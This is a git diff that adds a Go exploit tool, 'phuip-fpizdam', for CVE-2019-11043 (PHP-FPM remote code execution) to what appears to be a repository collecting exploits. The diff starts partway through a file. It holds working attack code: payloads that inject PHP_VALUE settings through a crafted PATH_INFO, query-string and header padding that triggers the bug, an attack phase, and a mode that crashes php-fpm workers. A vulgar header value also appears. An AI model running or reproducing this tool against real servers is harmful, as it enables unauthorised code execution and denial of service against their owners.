PHPOptionEnable: "output_handler=md5", + PHPOptionDisable: "output_handler=NULL", + Check: func(_ *http.Response, data []byte) bool { + return len(data) == 16 + }, + }, +} diff --git a/CVE-2019-11043/phuip-fpizdam/go.mod b/CVE-2019-11043/phuip-fpizdam/go.mod new file mode 100644 index 0000000..abc0daf --- /dev/null +++ b/CVE-2019-11043/phuip-fpizdam/go.mod @@ -0,0 +1,5 @@ +module phuip-fpizdam + +go 1.12 + +require github.com/spf13/cobra v0.0.5 diff --git a/CVE-2019-11043/phuip-fpizdam/go.sum b/CVE-2019-11043/phuip-fpizdam/go.sum new file mode 100644 index 0000000..0e18b3e --- /dev/null +++ b/CVE-2019-11043/phuip-fpizdam/go.sum @@ -0,0 +1,33 @@ +github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= +github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8= +github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= +github.com/coreos/go-etcd v2.0.0+incompatible/go.mod h1:Jez6KQU2B/sWsbdaef3ED8NzMklzPG4d5KIOhIy30Tk= +github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= +github.com/cpuguy83/go-md2man v1.0.10/go.mod h1:SmD6nW6nTyfqj6ABTjUi3V3JVMnlJmwcJI5acqYI6dE= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= +github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= +github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM= +github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= +github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= +github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= +github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= +github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/russross/blackfriday v1.5.2/go.mod h1:JO/DiYxRf+HjHt06OyowR9PTA263kcR/rfWxYHBV53g= +github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ= +github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= +github.com/spf13/cobra v0.0.5 h1:f0B+LkLX6DtmRH1isoNA9VTtNUK9K8xYd28JNNfOv/s= +github.com/spf13/cobra v0.0.5/go.mod h1:3K3wKZymM7VvHMDS9+Akkh4K60UwM26emMESw8tLCHU= +github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo= +github.com/spf13/pflag v1.0.3 h1:zPAT6CGy6wXeQ7NtTnaTerfKOsV6V6F8agHXFiazDkg= +github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= +github.com/spf13/viper v1.3.2/go.mod h1:ZiWeW+zYFKm7srdB9IoDzzZXaJaI5eL9QjNiN/DMA2s= +github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/ugorji/go/codec v0.0.0-20181204163529-d75b2dcb6bc8/go.mod h1:VFNgLljTbGfSG7qAOspJ7OScBnGdDN/yBr0sguwnwf0= +github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q= +golang.org/x/crypto v0.0.0-20181203042331-505ab145d0a9/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/sys v0.0.0-20181205085412-a5c9d58dba9a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= diff --git a/CVE-2019-11043/phuip-fpizdam/main.go b/CVE-2019-11043/phuip-fpizdam/main.go new file mode 100644 index 0000000..cd4ab99 --- /dev/null +++ b/CVE-2019-11043/phuip-fpizdam/main.go @@ -0,0 +1,124 @@ +package main + +import ( + "log" + + "github.com/spf13/cobra" +) + +func main() { + var ( + method string + cookie string + setting string + skipDetect bool + skipAttack bool + killWorkers bool + killCount int + resetSetting bool + resetRetries int + onlyQSL bool + params = &AttackParams{} + ) + + var cmd = &cobra.Command{ + Use: "phuip-fpizdam [url]", + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + url := args[0] + m, ok := Methods[method] + if !ok { + log.Fatalf("Unknown detection method: %v", method) + } + + requester, err := NewRequester(url, cookie) + if err != nil { + log.Fatalf("Failed to create requester: %v", err) + } + + if resetSetting { + if !params.Complete() { + log.Fatal("--reset-setting requires complete params") + } + if setting == "" { + setting = m.PHPOptionDisable + } + if resetRetries == -1 { + resetRetries = 1 << 30 + } + if err := SetSetting(requester, params, setting, resetRetries); err != nil { + log.Fatalf("ResetSetting() returned error: %v", err) + } + log.Printf("I did my best trying to set %#v", setting) + return + } + + if setting != "" { + log.Fatal("--setting requires --reset-setting") + } + + if killWorkers { + if params.QueryStringLength == 0 { + log.Fatal("QSL value is required for killing workers") + } + // The breaking payload is 4 bytes shorter than usual (34), so we have + // (Δ|SCRIPT_FILENAME| + Δ|REQUEST_URI| + Δ|DOCUMENT_URI|)/2 = 6. + // This probably won't work in some configurations. + params.QueryStringLength += 6 + if err := KillWorkers(requester, params, killCount); err != nil { + log.Fatalf("KillWorkers() returned error: %v", err) + } + log.Printf("all done") + return + } + + if skipDetect { + if !params.Complete() { + log.Fatal("Got --skip-detect and attack params are incomplete, don't know what to do") + } + log.Printf("Using attack params %s", params) + } else { + var err error + params, err = Detect(requester, m, params, onlyQSL) + if err != nil { + if err == errPisosBruteForbidden && onlyQSL { + log.Printf("Detect() found QSLs and that's it") + return + } + log.Fatalf("Detect() returned error: %v", err) + } + + if !params.Complete() { + log.Fatal("Detect() returned incomplete attack params, something gone wrong") + } + + log.Printf("Detect() returned attack params: %s <-- REMEMBER THIS", params) + } + + if skipAttack || onlyQSL { + log.Print("Attack phase is disabled, so that's it") + return + } + + if err := Attack(requester, params); err != nil { + log.Fatalf("Attack returned error: %v", err) + } + }, + } + cmd.Flags().StringVar(&method, "method", "session.auto_start", "detect method (see detect_methods.go)") + cmd.Flags().StringVar(&cookie, "cookie", "", "send this cookie") + cmd.Flags().IntVar(¶ms.QueryStringLength, "qsl", 0, "qsl hint") + cmd.Flags().IntVar(¶ms.PisosLength, "pisos", 0, "pisos hint") + cmd.Flags().BoolVar(&skipDetect, "skip-detect", false, "skip detection phase") + cmd.Flags().BoolVar(&skipAttack, "skip-attack", false, "skip attack phase") + cmd.Flags().BoolVar(&onlyQSL, "only-qsl", false, "stop after QSL detection, use this if you just want to check if the server is vulnerable") + cmd.Flags().BoolVar(&resetSetting, "reset-setting", false, "try to reset setting (requires attack params)") + cmd.Flags().IntVar(&resetRetries, "reset-retries", SettingEnableRetries, "how many retries to do for --reset-setting, -1 means a lot") + cmd.Flags().StringVar(&setting, "setting", "", "specify custom php.ini setting for --reset-setting") + cmd.Flags().BoolVar(&killWorkers, "kill-workers", false, "just kill php-fpm workers (requires only QSL)") + cmd.Flags().IntVar(&killCount, "kill-count", SettingEnableRetries, "how many times to send the worker killing payload") + + if err := cmd.Execute(); err != nil { + log.Fatal(err) + } +} diff --git a/CVE-2019-11043/phuip-fpizdam/phpini.go b/CVE-2019-11043/phuip-fpizdam/phpini.go new file mode 100644 index 0000000..c9ae968 --- /dev/null +++ b/CVE-2019-11043/phuip-fpizdam/phpini.go @@ -0,0 +1,34 @@ +package main + +import ( + "fmt" + "log" + "net/http" + "strings" +) + +func MakePathInfo(phpValue string) (string, error) { + pi := "/PHP_VALUE\n" + phpValue + if len(pi) > PosOffset { + return "", fmt.Errorf("php.ini value is too long: %#v", phpValue) + } + return pi + strings.Repeat(";", PosOffset-len(pi)), nil +} + +func SetSetting(requester *Requester, params *AttackParams, setting string, tries int) error { + log.Printf("Trying to set %#v...", setting) + for i := 0; i < tries; i++ { + if _, _, err := SetSettingSingle(requester, params, setting, ""); err != nil { + return fmt.Errorf("error while setting %#v: %v", setting, err) + } + } + return nil +} + +func SetSettingSingle(requester *Requester, params *AttackParams, setting, queryStringPrefix string) (*http.Response, []byte, error) { + payload, err := MakePathInfo(setting) + if err != nil { + return nil, nil, err + } + return requester.RequestWithQueryStringPrefix(payload, params, queryStringPrefix) +} diff --git a/CVE-2019-11043/phuip-fpizdam/requester.go b/CVE-2019-11043/phuip-fpizdam/requester.go new file mode 100644 index 0000000..7954561 --- /dev/null +++ b/CVE-2019-11043/phuip-fpizdam/requester.go @@ -0,0 +1,85 @@ +package main + +import ( + "crypto/tls" + "fmt" + "io/ioutil" + "net/http" + "net/url" + "strings" + "time" +) + +type Requester struct { + cl *http.Client + u *url.URL + cookie string +} + +func NewRequester(resource, cookie string) (*Requester, error) { + u, err := url.Parse(resource) + if err != nil { + return nil, fmt.Errorf("url.Parse failed: %v", err) + } + if !strings.HasSuffix(u.Path, ".php") { + return nil, fmt.Errorf("well I believe the url must end with \".php\". " + + "Maybe I'm wrong, delete this check if you feel like it") + } + + nextProto := make(map[string]func(authority string, c *tls.Conn) http.RoundTripper) + disableRedirects := func(_ *http.Request, _ []*http.Request) error { return http.ErrUseLastResponse } + return &Requester{ + cl: &http.Client{ + Transport: &http.Transport{ + DisableCompression: true, // No "Accept-Encoding" + TLSNextProto: nextProto, // No http2 + Proxy: http.ProxyFromEnvironment, + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + Timeout: 30 * time.Second, + CheckRedirect: disableRedirects, // No redirects + }, + u: u, + cookie: cookie, + }, nil +} + +func (r *Requester) Request(pathInfo string, params *AttackParams) (*http.Response, []byte, error) { + return r.RequestWithQueryStringPrefix(pathInfo, params, "") +} + +func (r *Requester) RequestWithQueryStringPrefix(pathInfo string, params *AttackParams, prefix string) (*http.Response, []byte, error) { + if !strings.HasPrefix(pathInfo, "/") { + return nil, nil, fmt.Errorf("path doesn't start with slash: %#v", pathInfo) + } + u := *r.u + u.Path = u.Path + pathInfo + qslDelta := len(u.EscapedPath()) - len(pathInfo) - len(r.u.EscapedPath()) + if qslDelta%2 != 0 { + panic(fmt.Errorf("got odd qslDelta, that means the URL encoding gone wrong: pathInfo=%#v, qslDelta=%#v", qslDelta)) + } + qslPrime := params.QueryStringLength - qslDelta/2 - len(prefix) + if qslPrime < 0 { + return nil, nil, fmt.Errorf("qsl value too small: qsl=%v, qslDelta=%v, prefix=%#v", params.QueryStringLength, qslDelta, prefix) + } + u.RawQuery = prefix + strings.Repeat("Q", qslPrime) + req, err := http.NewRequest("GET", u.String(), nil) + if err != nil { + return nil, nil, err + } + req.Header.Set("User-Agent", UserAgent) + if r.cookie != "" { + req.Header.Set("Cookie", r.cookie) + } + req.Header.Set("D-Pisos", "8"+strings.Repeat("=", params.PisosLength)+"D") + req.Header.Set("Ebut", "mamku tvoyu") + resp, err := r.cl.Do(req) + if resp != nil { + defer func() { _ = resp.Body.Close() }() + } + if err != nil { + return nil, nil, err + } + data, err := ioutil.ReadAll(resp.Body) + return resp, data, err +} diff --git a/README.md b/README.md index 6bcd4fe..1b1eff5 100644 --- a/README.md +++ b/README.md @@ -76,6 +76,7 @@ - [构建ASMX绕过限制WAF达到命令执行(适用于ASP.NET环境)](./构建ASMX绕过限制WAF达到命令执行.md) - [CVE-2019-17662-ThinVNC 1.0b1 - Authentication Bypass](./CVE-2019-17662-ThinVNC%201.0b1%20-%20Authentication%20Bypass.md) - [CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd](./CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd.md) +- [CVE-2019-11043-PHP远程代码执行漏](./CVE-2019-11043) ## 提权辅助相关